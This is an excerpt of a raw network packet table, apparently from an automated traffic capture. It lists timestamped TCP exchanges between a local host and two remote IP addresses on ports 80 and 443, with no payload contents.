Nov 11, 2024 19:17:59.371325016 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371336937 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.371350050 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371364117 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.371396065 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.374130964 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.374181032 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.374190092 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.374221087 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.399378061 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.399449110 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.399600029 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.399621964 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.399688959 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.399765968 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.400001049 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.400012016 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.400032043 CET	49930	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.400038004 CET	443	49930	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.403611898 CET	49936	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.403631926 CET	443	49936	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.403726101 CET	49936	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.403943062 CET	49936	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.403951883 CET	443	49936	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.452755928 CET	443	49931	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.454263926 CET	443	49932	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.459245920 CET	443	49933	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.460582972 CET	443	49934	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.472841024 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472871065 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472882032 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472907066 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.472928047 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.472953081 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472970009 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472981930 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.472990036 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.472995043 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473009109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473016024 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473020077 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473033905 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473052025 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473073959 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473083973 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473094940 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473119020 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473145962 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473223925 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473236084 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473253965 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473261118 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473267078 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473269939 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473289967 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473301888 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473342896 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473352909 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473387003 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473388910 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473402023 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473423958 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473436117 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473494053 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473505974 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473515987 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473526955 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473536968 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473537922 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473548889 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473561049 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473588943 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473625898 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473644972 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473656893 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473663092 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473676920 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473690033 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473707914 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473720074 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473752022 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473849058 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473861933 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473877907 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473906040 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.473968983 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473979950 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.473990917 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474004030 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474014044 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474046946 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474158049 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474169970 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474179983 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474198103 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474200964 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474215031 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474226952 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474231005 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474252939 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474282980 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474378109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474445105 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474453926 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474466085 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474478006 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474489927 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474490881 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474499941 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474524975 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474616051 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474632978 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474646091 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474669933 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474689960 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474694014 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474706888 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474744081 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474744081 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474757910 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474771023 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474785089 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474795103 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474797964 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.474803925 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474829912 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.474839926 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.478195906 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.478215933 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.478238106 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.478250027 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.478250980 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.478269100 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.478281021 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.478297949 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.478318930 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.509232998 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.509232998 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.509326935 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.557723045 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.557739973 CET	443	49931	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.558701038 CET	49931	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.558706045 CET	443	49931	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.559668064 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.559691906 CET	443	49932	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.560257912 CET	49932	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.560261965 CET	443	49932	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.560744047 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.560762882 CET	443	49933	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.562010050 CET	49933	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.562016964 CET	443	49933	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.563141108 CET	49934	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.563150883 CET	443	49934	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.563760042 CET	49934	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:59.563765049 CET	443	49934	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:59.564546108 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564559937 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564572096 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564584970 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564591885 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564599037 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564611912 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564615011 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564625025 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564635992 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564646959 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564662933 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564663887 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564677000 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564682961 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564690113 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564697027 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564703941 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564716101 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564727068 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564727068 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564744949 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564750910 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564759016 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564766884 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564770937 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564783096 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564795017 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564795017 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564815998 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564827919 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564827919 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564846992 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564862967 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564872980 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564872980 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564881086 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564893007 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564896107 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564905882 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564915895 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564917088 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564929962 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564941883 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564944029 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.564969063 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.564987898 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587510109 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587553024 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587564945 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587574005 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587593079 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587610960 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587615967 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587622881 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587635040 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587658882 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587696075 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587793112 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587805033 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587816000 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587827921 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587836981 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587841988 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587847948 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587855101 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587867022 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587879896 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587882042 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587888956 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587893009 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587905884 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587915897 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587917089 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587938070 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587944984 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587951899 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587960958 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587963104 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587977886 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.587985992 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.587990046 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588002920 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588012934 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588018894 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588027000 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588046074 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588046074 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588054895 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588058949 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588067055 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588071108 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588083029 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588093996 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588097095 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588108063 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588119030 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588126898 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588126898 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588130951 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588144064 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588155031 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588169098 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588174105 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588191032 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588193893 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588206053 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588211060 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588217974 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588229895 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588231087 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588243008 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588254929 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588257074 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588268042 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588279009 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588291883 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588295937 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588303089 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588315964 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588319063 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588319063 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588327885 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588334084 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588340998 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588354111 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.588365078 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.588396072 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.590882063 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.590925932 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.590925932 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.590939999 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.590965033 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.590976954 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591089964 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591100931 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591111898 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591123104 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591135025 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591146946 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591147900 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591160059 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591171980 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591181993 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591187954 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591197968 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591207981 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591209888 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591217041 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591222048 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591236115 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591247082 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591259003 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591259956 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591264009 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591274977 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591283083 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591288090 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591293097 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591305017 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591310024 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591321945 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591332912 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591336966 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591348886 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591356039 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591367006 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591375113 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591379881 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591391087 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591392040 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591403961 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591414928 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591417074 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591427088 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591439962 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591449976 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591456890 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591469049 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591474056 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591475964 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591485977 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591497898 CET	80	49929	185.215.113.16	192.168.2.7
Nov 11, 2024 19:17:59.591504097 CET	49929	80	192.168.2.7	185.215.113.16
Nov 11, 2024 19:17:59.591507912 CET	80	49929	185.215.113.16	192.168.2.7
